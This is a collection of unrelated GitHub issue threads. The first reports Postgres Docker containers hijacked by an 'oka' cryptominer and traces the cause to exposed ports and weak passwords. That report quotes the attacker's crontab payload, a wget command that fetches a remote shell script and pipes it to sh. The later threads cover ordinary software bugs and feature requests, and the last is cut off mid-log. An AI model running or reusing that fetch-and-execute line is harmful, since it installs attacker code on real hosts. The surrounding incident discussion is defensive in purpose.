Compromised image in docker-hub

Postgres 11.2 AMD64 image seems to be compromised and should be immediately removed from dockerhub. This image executes a cron job to mine cryptocurrencies, and possibly more. Might be worth auditing all variants in case.
cmd: echo "*/30 * * * * /var/lib/postgresql/data/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh">> /tmp/a; crontab /tmp/a;rm -rf /tmp/a

We noticed on our host machine that there was process running a suspicious script ./oka. This processes was coming from a 2 day old postgres:11.2 docker container once we looked inside the container. We had to nuke the image and fs mounts, so nothing is left over, and rerunning locally I am not able to immediately see the same effect, could be the script only runs after a certain amount of time.

Hi there, I can confirm that we ran into the same issue this morning with one of our Docker Postgres instances. I found a process named oka running that was consuming the whole CPU.
We have a development server for a Rails app that is developed using docker-compose. The Postgres image we're using is postgres:11.4.

For me this process came from someone gaining access to my container from the outside, apparently docker-compose has an issue where they default to publishing ports to the open web even if you configure the docker daemon not to do that by default. You might want to check that on your end as well.

I can confirm the same issue, and I am not using docker, this was with postgres v12

I found it too. Since I installed postgis it appeared.
*/30 * * * * /var/lib/pgsql//var/lib/pgsql/12/data/./oka

*/6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh

I just had this problem. A server I'm using started to slow down. I ssh'ed to the box and saw that a process named oka was using pretty much all the cpu.
I had a postgres image running as well, but I may have a different take on the source of the problem. I was using docker-compose -up with the following docker compose file:
version: '3'
services:
  postgresql:
    image: "clkao/postgres-plv8:latest"
    ports:
     - "5432:5432"
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: marten_testing

I took this compose file from the integration tests of marten db source code. I did not worry about this image getting compromised despite leaving user/pass as postgres because the server is behind a firewall (ufw running on ubuntu).
Seeing this thread, I can see that I was wrong, but I'm not sure if the attack came from internet. My current external ip is the only ip that is given full access to all ports. So something that is running in my network, which scans postgres ports with default user/pass could have compromised the docker image, not because the image itself is compromised, but because the ports are accessible and user/pass is not strong enough.
The worrying bit of the above line of thinking is something running in my network, but that's for me to investigate. Did anybody have a similar weak combination of user/pass when their postgres instance was compromised? If so, the problem may have nothing to do with docker and may be related to something targeting postgres.
I suspect docker instances running postgres may be more vulnerable than regular postgres instances due to docker running as root but that's where I start go go beyond my system-fu skills/knowledge. Comments and more findings are welcome.

Ok, I just realised that I may be (half) wrong. The oka process was running on the host(!) so whatever put it there may have exploited postgres but in order to run a process on the server, it'd have to escape docker container so I'm really worried now.

One thing that might make that process showing up on your host clearer is that docker is not a virtualization technology, it is running directly on the host kernel therefore the processes will come up in ps -aux, which could lead to your assumption that the user escaped the postgres container into the host. But I think it might be more likely that the user did not escape the container and just used the container to utilize the host cpu and ram resources for mining.

For me the way docker-compose exposes the ports (exposing to <IP_ADDRESS> unless explicitly set differently) was convincing to me that the container was exposed to the outside world via misconfiguration. Docker also rewrites iptables which means the traffic can reach the outside world and thus be open to a port scanning attack. Similar to you I had not put in a strong user pass combo because I was intending the container to only be accessible internally and for testing purposes.

Thanks @efagerberg I nuked all images and containers, then removed my user from docker group for good measure. When I run docker-compose, it actually tells me it is listening on <IP_ADDRESS> but I never thought it'd mess with iptables. I'll test access to postgres port from another machine which should be blocked by ufw.
Thanks for the point re Docker's nature. I'd forgotten about that. What you say makes sense, but I think a compromised image (via postgres) ran by a user in docker group is still dangerous. I'll investigate a bit more, especially to make sure the host is clean.

For anyone who may come across this via a google search. @efagerberg  nailed it. Docker seems to poke a hole in the firewall. With my firewall up (ufw, on Ubuntu 18.04) I can indeed connect to postgres from another machine, which is on a network that is blocked by the firewall.
I never came across this situation before. Lesson learned.

Yep the best way around this I have found is to make sure you have ip tables rules that only allow certain traffic inside and out of docker containers using the known subnets for the docker networks. The iptables manipulation is a feature in some cases because it lets users get out of the way of network configurations, but in cases where you trust your existing firewall it can be undesirable as a default pathway. I hope in the future they include documentation to help educate people on this issue without having to have a security incident be the learning experience. Likewise I hope docker-compose updates it's library to respect the default ip address defined in the docker daemon so that when you expose a port like so 80:80 it gets the default ip address in the daemon instead of always assuming <IP_ADDRESS>.

I updated the docker compose file to bind the ports to <IP_ADDRESS> instead of <IP_ADDRESS>
That does the trick.

Hello, I have been experiencing the ./oka process as well on an Ubuntu server and I would kill the process but then a couple of hours later it would reappear. I am using an opensource project (Geonode) which is orchestrated with docker compose. I need some assistance on how to update the docker compose file to bind Postgres' ports to <IP_ADDRESS> instead of <IP_ADDRESS> as suggested above Here is the docker compose file that I used to build the various docker images. I'm just starting out learning docker and hence not so good at it at the moment. Any assistance will be appreciated.

Hi
I just have the same issue that is occured on my server which has docker and postgres container in it. However mine postgres container wasn't running when this oka process appeared.
I'm usually keeping an active firewall script which is configuring iptables but yesterday i was stopped it because it's also killing the docker container global internet connection down. So probably that script find a way to appear again and make itself running.
So my question is how can I get rid of this process on my host machine? @serefarikan did you find a way for it?

my postgres docker image version is: postgres:11.4
I found a crontab as same as @winhkey on the postgres crontab on host machine. I'm not sure it's related with postgres official image but somehow it's running with postgres user.

Hi
I just have the same issue that is occured on my server which has docker and postgres container in it. However mine postgres container wasn't running when this oka process appeared.
I'm usually keeping an active firewall script which is configuring iptables but yesterday i was stopped it because it's also killing the docker container global internet connection down. So probably that script find a way to appear again and make itself running.
So my question is how can I get rid of this process on my host machine? @serefarikan did you find a way for it?

The process is running under docker, and as explained above by @efagerberg it is unlikely that it can escape the container. I stopped and removed the container, made sure that docker won't run without sudo (yes it's convenient to not to have to type sudo but not worth the risk), then ran it again, but as I wrote above, made sure that it is only bound to <IP_ADDRESS> rather than all network interfaces. No sign of that process again on the server, so I'm assuming all is OK.

I found the case.
It's not related with docker, neither postgresql docker image.
Here's the explanation: https://www.alibabacloud.com/blog/is-your-postgresql-server-secretly-mining-digital-coins_593932


[ALLUXIO-2014] Reduce log severity in S3 UFS

https://alluxio.atlassian.net/browse/ALLUXIO-2014

LGTM, how about similar log in other UFS?

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/10332/
Test PASSed.

Merged build finished. Test PASSed.

LGTM

@ifcharming I've created tickets 2017 & 2018.


Notebook: Unclear instructions on how to upload sample images to Azure Blob Container

To complete the example notebook, there is an instruction to 'Get samples images and upload to Datastore'. There is, however, no instructions on where to actually upload the sample images to an Azure Blob Container. There are a few links to instructions on how, but not to where. It would be useful if the guide could be a little more detailed on that matter. Where is the Datastore? I have multiple existing Blob Containers in the automatically created storage resource, which one should I use? Should the folders be uploaded as-is, or should they be renamed?
The code snippet that follows the manual instructions is dependent on this step being properly executed, and some hints on how to correctly upload the sample images could be added here. For example, the parameters in the call Datastore.register_azure_blob_container(ws, "sampledata", "sampledata", account_name=account_name, overwrite=True) could be explained. What is the reason the two strings are both 'sampledata'?
All other notebooks I have come across so far have been more clear on all steps. I think this would benefit from being a little more clear as well.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: c8fc8bdb-1ee0-b978-e42f-de875b8cb50f
Version Independent ID: dbad235e-f8d6-361b-d337-f9d2a3573059
Content: Build machine learning pipelines - Azure Machine Learning service
Content Source: articles/machine-learning/service/concept-ml-pipelines.md
Service: machine-learning
GitHub Login: @sanpil
Microsoft Alias: sanpil

@ArvidBaa Thanks for the feedback! I have assigned the issue to the content author to evaluate and update as appropriate.

Thanks for the feedback. We are working on updating the notebook.

@ArvidBaa We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


Maya: Support .abc files directly for Arnold standin look assignment

Changelog Description
If .abc file is loaded into arnold standin support look assignment through the cbId attributes in the alembic file.
Additional info
This is an enhancement after feature https://github.com/ynput/OpenPype/pull/4460 to allow Alembic files to also get looks assigned in arnold proxies as was requested on discord here.
This re-uses the alembic functionality that was already there for vray proxies.
Testing notes:

Load a .abc file in arnold standin
Assign a look

Tested in Maya 2023 and code looks great!


Plugin try to install node-sass everytime I launch Atom

Cancel This option: Enable Sass file and install node-sass 。
Because you turn on this option, each time it detects node-sass not installed, will take the initiative to install.

The problem has been resolved, please update to the latest version.


Integrate lefou/millw and millw.bat into Mill repository

https://github.com/lefou/millw

Goals:

Keep all features of lefou/millw, except the --mill-version option
Shell script needs to be POSIX shell compatible
New Windows Batch script
Remove parsing of (arbitrary) local mill script as fallback for an undefined Mill version

While I'm not qualified to help here, if the plan is to have a new windows .bat file, wouldn't it be better to just use a .ps1 file instead?
FWIW, Powershell comes installed in all windows versions since windows 7, and using that should avoid some of the legacy craft from batch.

I find it essential, that we support booting all older Mill versions, so that any old project can simply use the latest version of the script.

@lefou I'd like to revisit this issue, in the run up to Mill 0.12/0.13
IIRC one point of contention was the globally installed mill executable parsing a project-specific ./mill script to try and find the version to use. I used to think this was important, but I've changed my mine and would be willing to give that up now. Since we're now recommending usage being of ./mill bootstrap scripts, the exact behavior when the global mill and local ./mill diverges seems less important now than it used to be
Do you recall if there were any other points of contention? Or what other major ways in which millw diverges from the existing mill script?

While #4052 replaced the in-repo mill and ci/mill.bat scripts with the latest versions (0.4.12 I guess) of millwandmillw.bat`, I think this is not enough to complete the move/archival of https://github.com/lefou/millw .
I think what we want is:

import the lefou/millw project as a sub-project (do we need a re-licensing from Apache 2 to MIT?)
treat scripts like source files, e.g. replace versions by placeholders
Add a build steps to build final scripts where placeholders are replaced by the actual version
Add some tests/integration tests to ensure these scripts still support older Mill versions
Ensure we publish all scripts to the GitHub release page

mill - sh-compatible script
mill.bat - Windows Batch script
mill.ps1 - Windows PowerShell scrip

The licenses are compatible as long as we leave the attribution in place, which I have done. I have also implemented to the build steps to do the version mangling and publish the scripts.
I can add some basic integration smoketests tests
@lefou one question I have is

Windows PowerShell script

What's the purpose of having both ps1 and bat scripts? For now I only used the bat script since I assume that works on all versions of windows

What's the purpose of having both ps1 and bat scripts? For now I only used the bat script since I assume that works on all versions of windows

I guess it's all about choice. .bat is the most compatible but less modern script. Some users prefer .ps1, esp. when they use PowerShell for everything else. There is no common shared syntax.

In that case I think just sticking with .bat should be sufficient; it should run everywhere that .ps1 runs, and can be called from both powershell or cmd.exe.

In that case I think just sticking with .bat should be sufficient; it should run everywhere that .ps1 runs, and can be called from both powershell or cmd.exe.

Is there any quick way to test both?
I would like to check that both .bat and .ps1 work in "complex" user directories (i.e. the ones that are converted to SOMETHING~1 in batch).
That's the main reason I asked for a PowerShell version in a previous comment.

I'm not a Windows user, but I think the ps1 script is the more modern way and the bat is more the compat thing. Since I'm the old guy with probably very old Windows habits, I use the bat script. But I think the ps1 script was provided for a reason. We should not abandon it.


Icons

#129

[x] works on macos

[x] Works on windows

Looks good on
IntelliJ IDEA 2018.3.2 (Ultimate Edition)
Build #IU-183.4886.37, built on December 17, 2018
Licensed to Alex Simons
Subscription is active until February 21, 2019
JRE: 1.8.0_152-release-1343-b26 amd64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
Windows 10 10.0

Looks good on
IntelliJ IDEA 2018.3.4 (Ultimate Edition)
Build #IU-183.5429.30, built on January 28, 2019
Licensed to Alex Simons
Subscription is active until February 21, 2019
JRE: 1.8.0_152-release-1343-b26 x86_64
JVM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
macOS 10.14.2


Suggest to add Chinese language option

Dear Developers.
I am a user of your software and really like your product. However, I noticed that there is no Chinese language option in the program at the moment. I would like to suggest you to consider adding Chinese language support in order to better enhance the Chinese user experience. Looking forward to your reply!
Thank you.

You mean add localization support? It is set as "not yet" at https://docs.featherwallet.org/guides/features, iirc @tobtoht said that he will look at supporting localization post-Seraphis™

You mean add localization support? It is set as "not yet" at https://docs.featherwallet.org/guides/features, iirc @tobtoht said that he will look at supporting localization post-Seraphis™

Dear developers,
I look forward to future software versions including an option for a Chinese interface, which would enhance the experience for Chinese users. Thank you.

@jermanuts When will localization be supported? I'm looking forward to implementing it soon, anything I can do to help is appreciated!

@chaserene too

@tobtoht Looking forward to your answer.

@tobtoht @sanderfoobar @MrDeveloperO @xiphon @jermanuts @wowario @blasty @n-peugnet @duggavo @plowsof
I hope the developers can speed up this proposal, thanks a lot!


HashJoin Anomaly when joining outputs of two Python UDFs

I have two Python UDFs, their columns are:
1st one:

total_mortality_RR_2020
state
state_num

double
string
number

2nd one:

total_mortality_RR_2019
state
state_num

double
string
number

Before I connected them to the HashJoin, their outputs are:

After I connected them directly to the HashJoin(inner join on state_num of integer type):

the tuple mapping is 0 -> 0 for the HashJoin operator, and one of the PythonUDF tuple mapping becomes 50->25 instead of 50->50.
And if I introduced two type-cast operators, convert the state_num column from type integer to string

the HashJoin has the pair 50->0
When changing the join type from inner join to full outerjoin, the pair becomes 50->50, but the result is not correct:

The workflow link is: https://texera.ics.uci.edu/workflow/1642

@bobbai00 can you test it again on the current master, to see if we still have this issue?


Senderloop3

Here is the latest version of queuesender which includes the ideas we talked about this morning.
Please pay close attention to the following:

sendLoop() and receiveLoop() functions in sender.go
conn.go which has the connection wrapper and connection manager.

thx for the comments. I do have a question about the prefix logger. See above.


deps: com.google.api:api-common

@chingor13 update api-common

The Java 7 failure is due to old SSL in our Java 7 VM. We've seen this in other repos, but we do need to fix it:

What went wrong:
A problem occurred configuring root project 'gax-java'.

Could not resolve all artifacts for configuration ':classpath'.
Could not resolve net.ltgt.gradle:gradle-apt-plugin:0.10.
Required by:
project :
Could not resolve net.ltgt.gradle:gradle-apt-plugin:0.10.
Could not get resource 'https://plugins.gradle.org/m2/net/ltgt/gradle/gradle-apt-plugin/0.10/gradle-apt-plugin-0.10.pom'.
Could not GET 'https://plugins.gradle.org/m2/net/ltgt/gradle/gradle-apt-plugin/0.10/gradle-apt-plugin-0.10.pom'.
sun.security.validator.ValidatorException: PKIX path validation failed: java.security.cert.CertPathValidatorException: signature check failed
Could not resolve gradle.plugin.com.dorongold.plugins:task-tree:1.3.1.
Required by:
project :
Could not resolve gradle.plugin.com.dorongold.plugins:task-tree:1.3.1.
Could not get resource 'https://plugins.gradle.org/m2/gradle/plugin/com/dorongold/plugins/task-tree/1.3.1/task-tree-1.3.1.pom'.
Could not GET 'https://plugins.gradle.org/m2/gradle/plugin/com/dorongold/plugins/task-tree/1.3.1/task-tree-1.3.1.pom'.
sun.security.validator.ValidatorException: PKIX path validation failed: java.security.cert.CertPathValidatorException: signature check failed
Could not resolve gradle.plugin.com.github.sherter.google-java-format:google-java-format-gradle-plugin:0.8.
Required by:
project :
Could not resolve gradle.plugin.com.github.sherter.google-java-format:google-java-format-gradle-plugin:0.8.
Could not get resource 'https://plugins.gradle.org/m2/gradle/plugin/com/github/sherter/google-java-format/google-java-format-gradle-plugin/0.8/google-java-format-gradle-plugin-0.8.pom'.
Could not GET 'https://plugins.gradle.org/m2/gradle/plugin/com/github/sherter/google-java-format/google-java-format-gradle-plugin/0.8/google-java-format-gradle-plugin-0.8.pom'.
sun.security.validator.ValidatorException: PKIX path validation failed: java.security.cert.CertPathValidatorException: signature check failed


chore: release docker-jans-persistence-loader 1.0.0-beta.14

:robot: I have created a release *beep* *boop*
1.0.0-beta.14 (2021-12-27)
Features

add support for plugins (#67) (7f2204c)
deprecate password files in favor of secrets (#152) (f415213)

Bug Fixes

always close file descriptors after parsing LDIF files (#159) (a99bef8)

Miscellaneous Chores

change release to 1.0.0-beta.14 (2d5d61b)
release 1.0.0-beta.13 (789a9ed)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/JanssenProject/jans-cloud-native/releases/tag/docker-jans-persistence-loader-v1.0.0-beta.14 :sunflower:

:robot: Release is at https://github.com/JanssenProject/jans-cloud-native/releases/tag/docker-jans-persistence-loader-v1.0.0-beta.14 :sunflower:


test_pageserver_http_api_client setup is flaky

A recent failure in main: https://github.com/neondatabase/neon/actions/runs/3573711733/jobs/6008335143
main seems failing:passing about 50:50 at the moment, each failure is unique in its flakiness.
______________ ERROR at setup of test_pageserver_http_api_client _______________
[gw3] linux -- Python 3.9.2 /github/home/.cache/pypoetry/virtualenvs/neon-_pxWMzVK-py3.9/bin/python
subprocess.CalledProcessError: Command '['/tmp/neon/bin/neon_local', 'pageserver', 'start']' returned non-zero exit status 1.

The above exception was the direct cause of the following exception:
/github/home/.cache/pypoetry/virtualenvs/neon-_pxWMzVK-py3.9/lib/python3.9/site-packages/pytest_lazyfixture.py:39: in fill
    _fillfixtures()
test_runner/fixtures/neon_fixtures.py:982: in _shared_simple_env
    env = builder.init_start()
test_runner/fixtures/neon_fixtures.py:623: in init_start
    self.start()
test_runner/fixtures/neon_fixtures.py:619: in start
    self.env.start()
test_runner/fixtures/neon_fixtures.py:916: in start
    self.pageserver.start()
test_runner/fixtures/neon_fixtures.py:1778: in start
    self.env.neon_cli.pageserver_start(overrides=overrides, extra_env_vars=extra_env_vars)
test_runner/fixtures/neon_fixtures.py:1583: in pageserver_start
    return self.raw_cli(start_args, extra_env_vars=extra_env_vars)
test_runner/fixtures/neon_fixtures.py:1356: in raw_cli
    raise Exception(msg) from subprocess.CalledProcessError(
E   Exception:             Run ['/tmp/neon/bin/neon_local', 'pageserver', 'start'] failed:
E                 stdout: Starting pageserver at 'localhost:18082' in '/tmp/test_output/test_pageserver_http_api_client/repo'.....
E   pageserver has not started yet, continuing to wait.....
E
E                 stderr: pageserver start failed: pageserver did not start in 10 seconds
------------------------------ Captured log setup ------------------------------
2022-11-29 12:00:10.381 INFO [neon_fixtures.py:2706] get_test_output_dir is /tmp/test_output/test_pageserver_http_api_client
2022-11-29 12:00:10.381 INFO [neon_fixtures.py:2727] test_output_dir is /tmp/test_output/test_pageserver_http_api_client
2022-11-29 12:00:10.382 INFO [neon_fixtures.py:2706] get_test_output_dir is /tmp/test_output/test_pageserver_http_api_client
2022-11-29 12:00:10.389 INFO [neon_fixtures.py:910] Config:
default_tenant_id = 'f6368f9894fe3fa917cc1b2601eb5486'

[etcd_broker]
broker_endpoints = ['http://<IP_ADDRESS>:18001/']
etcd_binary_path = '/usr/local/bin/etcd'

[pageserver]
id=1
listen_pg_addr = 'localhost:18082'
listen_http_addr = 'localhost:18083'
auth_type = 'Trust'

[[safekeepers]]
id = 1
pg_port = 18084
http_port = 18085
sync = false
2022-11-29 12:00:10.390 INFO [neon_fixtures.py:1319] Running command "/tmp/neon/bin/neon_local init --config=/tmp/tmpuw8jrftr --pg-version 14"
2022-11-29 12:00:10.390 INFO [neon_fixtures.py:1320] Running in "/tmp/test_output/test_pageserver_http_api_client/repo"
2022-11-29 12:00:11.394 INFO [neon_fixtures.py:1347] Run success: Starting pageserver at 'localhost:18082' in '/tmp/test_output/test_pageserver_http_api_client/repo'.
pageserver started, pid: 15233
Successfully initialized timeline 0704e00f56a2478407b58220ebfa0049
Stopped pageserver 1 process with pid 15233

2022-11-29 12:00:11.395 INFO [neon_fixtures.py:1319] Running command "/tmp/neon/bin/neon_local pageserver start"
2022-11-29 12:00:11.395 INFO [neon_fixtures.py:1320] Running in "/tmp/test_output/test_pageserver_http_api_client/repo"
2022-11-29 12:00:21.465 INFO [neon_fixtures.py:1355]             Run ['/tmp/neon/bin/neon_local', 'pageserver', 'start'] failed:
              stdout: Starting pageserver at 'localhost:18082' in '/tmp/test_output/test_pageserver_http_api_client/repo'.....
pageserver has not started yet, continuing to wait.....

              stderr: pageserver start failed: pageserver did not start in 10 seconds

2022-11-29 12:00:21.465 INFO [neon_fixtures.py:777] Cleaning up all storage and compute nodes
2022-11-29 12:00:21.466 INFO [neon_fixtures.py:2487] Stopping safekeeper 1
2022-11-29 12:00:21.466 INFO [neon_fixtures.py:1319] Running command "/tmp/neon/bin/neon_local safekeeper stop 1 -m immediate"
2022-11-29 12:00:21.466 INFO [neon_fixtures.py:1320] Running in "/tmp/test_output/test_pageserver_http_api_client/repo"
2022-11-29 12:00:21.472 INFO [neon_fixtures.py:1347] Run success: safekeeper 1 is already stopped: no pid file "/tmp/test_output/test_pageserver_http_api_client/repo/safekeepers/sk1/safekeeper.pid" is present

2022-11-29 12:00:21.472 INFO [neon_fixtures.py:722] no remote storage was set up, skipping cleanup

This was Cannot assign requested address (os error 99), fixed recently.


ResourceTypeReference GetHashCode() is not O(1) on average

PR feedback from #8967

It's used quite heavily to cache generated resource types - probably wouldn't hurt to implement.


adding possible variations of hash algo

Webrecorder chrome addon https://github.com/webrecorder/archiveweb.page creates (/has created?) lines like:
WARC-Payload-Digest: sha-256:1e85ec81b9800b4c443d39caca0d0926089a3ac201120db1ceb45b93789480b8

It makes this validation script explode. Also the script stops running and the report doesn't show all the records of the warc.
I thought this kind of change could be useful (though: no clue if any "sha-1" or "sha-512" strings in the wild), as there doesn't seem to be any "whitelist" for this particular string denoting the hash in WARC format.
TEST: Compiled and ran this, seemed to work fine!

Thank you for this PR.
I don't understand what went wrong at your end. Could you please give an example of the command you ran that exploded.
The field WARC-Payload-Digest has nothing to do with the calculate-hash flag. The flag is there to provide an optional hook script with the hash value and there seems to be no need to provide the user with different ways to specify the same hashing algorithm.
The formatting you are trying to fix is actually handled by the gowarc library:
https://github.com/nlnwa/gowarc/blob/dbd27d83bcae7f6c4cde4d27e423def86dee770d/digest.go#L102-L116

Alrights, I noticed our warchaeology installation is version 1.1.0, which I guess doesn't have that gowarc algorithm name normalization, that's why it breaks down. (Downloaded the binary over a year ago)
I thought my hack was the fix but the latest version works anyways! Thx for your time, we might possibly use warchaeology as our warc validator in the future, because the good ol warctools doesn't seem to be updated.


Not able to create HPA for custom metrics based autoscaling for sample metrics app provided

Hi Team,
while implementing custom metrics based autoscaling we are getting below error during creation of HPA.
error: error validating "sample-metrics-app.yaml": error validating data: the server could not find the requested resource; if you choose to ignore these errors, turn validation off with --validate=false
mentioned file for HPA configuration is same as provided.
I am running in in default namespace.
kubectl version output:
 Client Version: version.Info{Major:"1", Minor:"7", GitVersion:"v1.7.3", GitCommit:"2c2fe6e8278a5db2d15a013987b53968c743f2a1", GitTreeState:"clean", BuildDate:"2017-08-03T07:00:21Z", GoVersion:"go1.8.3", Compiler:"gc", Platform:"darwin/amd64"} Server Version: version.Info{Major:"1", Minor:"7+", GitVersion:"v1.7.8-gke.0", GitCommit:"a7061d4b09b53ab4099e3b5ca3e80fb172e1b018", GitTreeState:"clean", BuildDate:"2017-10-10T18:48:45Z", GoVersion:"go1.8.3", Compiler:"gc", Platform:"linux/amd64"}

It looks like you are running on GKE, to be able to use HPA with custom metrics the API server needs special configurations.
So good catch, I don't think this will work on GKE.
I will dig into it.
-sebastien

Hey @prakashsingh08!
GKE does not enable alpha APIs by default. You will need to create an Alpha Cluster in order to use those APIs. Keep in mind that Alpha Clusters are automatically deleted after 30 days.

Thanks @viglesiasce  and @sebgoa , for quick response.
let me try with Alpha cluster.
-Prakash

Hi All,
during installation of prometheus-operator i am getting below error.
kubectl create -f prometheus-operator.yam
Error from server (Forbidden): error when creating "prometheus-operator.yaml": clusterroles.rbac.authorization.k8s.io "prometheus-operator" is forbidden: attempt to grant extra privileges: [PolicyRule{Resources:["thirdpartyresources"], APIGroups:["extensions"], Verbs:["create"]} PolicyRule{Resources:["alertmanagers"], APIGroups:["monitoring.coreos.com"], Verbs:["*"]} PolicyRule{Resources:["prometheuses"], APIGroups:["monitoring.coreos.com"], Verbs:["*"]} PolicyRule{Resources:["servicemonitors"], APIGroups:["monitoring.coreos.com"], Verbs:["*"]} PolicyRule{Resources:["statefulsets"], APIGroups:["apps"], Verbs:["*"]} PolicyRule{Resources:["configmaps"], APIGroups:[""], Verbs:["*"]} PolicyRule{Resources:["secrets"], APIGroups:[""], Verbs:["*"]} PolicyRule{Resources:["pods"], APIGroups:[""], Verbs:["list"]} PolicyRule{Resources:["pods"], APIGroups:[""], Verbs:["delete"]} PolicyRule{Resources:["services"], APIGroups:[""], Verbs:["get"]} PolicyRule{Resources:["services"], APIGroups:[""], Verbs:["create"]} PolicyRule{Resources:["services"], APIGroups:[""], Verbs:["update"]} PolicyRule{Resources:["endpoints"], APIGroups:[""], Verbs:["get"]} PolicyRule{Resources:["endpoints"], APIGroups:[""], Verbs:["create"]} PolicyRule{Resources:["endpoints"], APIGroups:[""], Verbs:["update"]} PolicyRule{Resources:["nodes"], APIGroups:[""], Verbs:["list"]} PolicyRule{Resources:["nodes"], APIGroups:[""], Verbs:["watch"]}]<EMAIL_ADDRESS>[system:authenticated] map[]} ownerrules=[PolicyRule{Resources:["selfsubjectaccessreviews"], APIGroups:["authorization.k8s.io"], Verbs:["create"]} PolicyRule{NonResourceURLs:["/api" "/api/*" "/apis" "/apis/*" "/healthz" "/swagger-2.0.0.pb-v1" "/swagger.json" "/swaggerapi" "/swaggerapi/*" "/version"], Verbs:["get"]}] ruleResolutionErrors=[]
I tried to resolve this issue with help of below link.
https://github.com/coreos/prometheus-operator/blob/master/Documentation/troubleshooting.md
but it did not help me.
any help will be appreciated.

Prakash

@prakashsingh08 for your above permission issue, this command should help:
kubectl create clusterrolebinding myname-cluster-admin-binding --clusterrole=cluster-admin<EMAIL_ADDRESS>
Would love to hear your feedback after trying autoscaling on GKE.

Hi @ngtuna,
Thanks for your response.
while installing sample-prometheus-instance, I am getting below error.
error: unable to recognize "sample-prometheus-instance.yaml": no matches for monitoring.coreos.com/, Kind=Prometheus
any suggestion will be helpful.

monitoring.coreos.com/v1 is an extension from CoreOS prometheus-operator, not supported natively on k8s. Have you run successfully this below command ?
$ kubectl create -f prometheus-operator.yaml

monitoring.coreos.com/v1 will be created after that.

@ngtuna ,
$ kubectl create -f prometheus-operator.yaml .  this command ran successfully.

@prakashsingh08 Not sure if you move any further on that topic. @bibinwilson on https://github.com/kubeless/kubeless/issues/493#issuecomment-354220074 confirmed that we can't do custom metric with hpa in 1.8.x. GKE team will probably support it in 1.9

@ngtuna  ,
I also tried same and I am able to do autoscaling on the basis of custom metrics using HPA in private Kubernetes. but in GKE 1.8.x it's not supporting.
Thanks for update that GKE 1.9 will support it.

THanks @prakashsingh08 . So I will close this. Will try it out when GKE 1.9 is available.


Update integration_tests with new metrics taxonomy

Describe the bug

We currently get this message in CI:
dbt-core v1.3 renamed attributes for metrics:
  'sql'              -> 'expression'
  'type'             -> 'calculation_method'
  'type: expression' -> 'calculation_method: derived'
The old metric parameter names will be fully deprecated in v1.4.
Please remove them from the metric definition of metric 'new_customers'
Relevant issue here: https://github.com/dbt-labs/dbt-core/issues/5849

We need to update our metrics in integration_tests with the new names. This should be part of the release that makes 1.3 the minimum version of dbt-core

Solved in recent PR, new version coming later this week :)


use ansi-width instead of textwrap for width calculation

We don't need all the functionality of textwrap, our own ansi-width is enough.

I'll cut another release after this, which will mean that I can finally get the changes into ls (and probably even eza).


Create option set test module

Background: Option sets consist of one or more options. Option sets consist of a defined enumerated type (Integer, Positive Integer, Text, etc).
Feature: Create an option set
Scenario: Given that I can create an option set
When I create a new option set
I should be able to create a new option set named "Test Option Set"
with code "TEST_OPTION_SET
with type "INTEGER"
Feature: Add a valid option to an option set
Scenario: Given that I can add options to the option set called "Test Option Set"
I should be able to add a new option named "Zero" with code "0"
Feature: Add an invalid option to an option set
Scenario: Given that I can add options to the option set called "Test Option Set"
I should not be able to add a new option named "One" with code "ONE"
Feature: Modify an existing option of an option set
Scenario: Given that I can modify option to the option set called "Test Option Set"
I should not be able to modify the code of the existing option called "Zero"
Feature: Prevent duplicate options within an option set
Scenario: Given that I can add an option to the option set called "Test Option Set"
and that this option set has an option named "Zero" with code "0"
I should be able to add a new option named "NewZero" with code "0"
Feature: Delete an option from an option set
Scenario: Given that I can delete options to the option set called "Test Option Set"
I should not be able to add a new option named "One" with code "ONE"
Feature: Modify an option set name
Scenario: Given that I can modify the option set called "Test Option Set"
I should be able to change its name to "New Test Option Set"
Feature: Modify an option set code
Scenario: Given that I can modify the option set called "New Test Option Set"
I should be able to change its code to "NEW_TEST"
Feature: Modify an option set type
Scenario: Given that I can modify the option set called "New Test Option Set"
I should not be able to change its type to "TEXT"
Additional tests: Translation and sharing

http://localhost:8085/dhis-web-maintenance-dataadmin/optionSet.action


migration from marthoc not recognizing ConBee II

I have migrated using the steps described from a functioning container using the Marthoc image.
The container is running on a raspberry pi 4 (using Portainer for management)
I have followed the configuration steps, the web front end all comes up fine, but it doesn't seem to recognize the Conbee II stick, i.e. no firmware version provided.

The docker logs don't give me many clues:
[deconzcommunity/deconz] Starting deCONZ... [deconzcommunity/deconz] Current deCONZ version: 2.13.01 [deconzcommunity/deconz] Web UI port: 80 [deconzcommunity/deconz] Websockets port: 443 [deconzcommunity/deconz] Using options --auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443 [deconzcommunity/deconz] Modifying user and group ID [deconzcommunity/deconz] Checking device group ID [deconzcommunity/deconz] VNC Disabled QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-deconz' libpng warning: iCCP: known incorrect sRGB profile This plugin does not support propagateSizeHints() This plugin does not support propagateSizeHints() This plugin does not support propagateSizeHints() This plugin does not support propagateSizeHints()

Please check the device is passthrough?

I have the device set here

and in the environment variables

Can you add DECONZ_START_VERBOSE and set it to 1, hopefully there be some more info to work with

Here is the log
`[deconzcommunity/deconz] Starting deCONZ...
[deconzcommunity/deconz] Current deCONZ version: 2.13.01
[deconzcommunity/deconz] Web UI port: 80
[deconzcommunity/deconz] Websockets port: 443
[deconzcommunity/deconz] Using options --auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443
[deconzcommunity/deconz] Modifying user and group ID
